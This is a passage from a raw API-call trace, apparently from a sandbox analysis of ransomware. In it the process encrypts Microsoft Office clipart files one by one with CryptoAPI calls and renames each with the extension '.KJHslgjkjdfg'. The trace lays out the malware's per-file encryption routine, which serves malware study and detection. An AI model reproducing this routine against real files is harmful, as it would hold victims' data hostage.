CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.459] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.459] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.459] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.459] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.459] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4040, lpOverlapped=0x0) returned 1 [0186.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4040, dwBufLen=0x4040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4040) returned 1 [0186.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.460] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4040, lpOverlapped=0x0) returned 1 [0186.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.461] SetEndOfFile (hFile=0x114) returned 1 [0186.464] GetProcessHeap () returned 0x2a0000 [0186.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.464] GetProcessHeap () returned 0x2a0000 [0186.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.kjhslgjkjdfg")) returned 1 [0186.465] CloseHandle (hObject=0x114) returned 1 [0186.465] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0186.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.466] GetProcessHeap () returned 0x2a0000 [0186.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.467] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.469] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.469] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.469] GetProcessHeap () returned 0x2a0000 [0186.469] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.469] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.469] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.469] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.470] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.470] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.470] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.470] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.470] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.470] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4d18, lpOverlapped=0x0) returned 1 [0186.471] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4d20, dwBufLen=0x4d20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4d20) returned 1 [0186.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.471] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4d20, lpOverlapped=0x0) returned 1 [0186.472] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.472] SetEndOfFile (hFile=0x114) returned 1 [0186.475] GetProcessHeap () returned 0x2a0000 [0186.475] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.475] GetProcessHeap () returned 0x2a0000 [0186.475] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.kjhslgjkjdfg")) returned 1 [0186.477] CloseHandle (hObject=0x114) returned 1 [0186.477] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0186.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.478] GetProcessHeap () returned 0x2a0000 [0186.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.479] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.481] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.481] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.481] GetProcessHeap () returned 0x2a0000 [0186.481] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.481] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.481] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.481] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.481] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.481] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.481] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.481] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.481] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.481] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.481] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.481] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.482] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x47ec, lpOverlapped=0x0) returned 1 [0186.482] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x47f0) returned 1 [0186.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.483] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x47f0, lpOverlapped=0x0) returned 1 [0186.483] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.483] SetEndOfFile (hFile=0x114) returned 1 [0186.485] GetProcessHeap () returned 0x2a0000 [0186.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.485] GetProcessHeap () returned 0x2a0000 [0186.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.kjhslgjkjdfg")) returned 1 [0186.487] CloseHandle (hObject=0x114) returned 1 [0186.487] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0186.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.488] GetProcessHeap () returned 0x2a0000 [0186.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.488] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.489] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.491] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.491] GetProcessHeap () returned 0x2a0000 [0186.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.491] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.491] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.491] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.491] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.491] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.491] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.491] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.491] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b4, lpOverlapped=0x0) returned 1 [0186.492] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0186.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.492] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0186.492] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.492] SetEndOfFile (hFile=0x114) returned 1 [0186.495] GetProcessHeap () returned 0x2a0000 [0186.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.495] GetProcessHeap () returned 0x2a0000 [0186.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.kjhslgjkjdfg")) returned 1 [0186.497] CloseHandle (hObject=0x114) returned 1 [0186.497] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0186.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.499] GetProcessHeap () returned 0x2a0000 [0186.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.499] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.499] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.500] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.501] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.501] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.502] GetProcessHeap () returned 0x2a0000 [0186.502] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.502] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.502] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.502] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.502] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.502] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.502] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 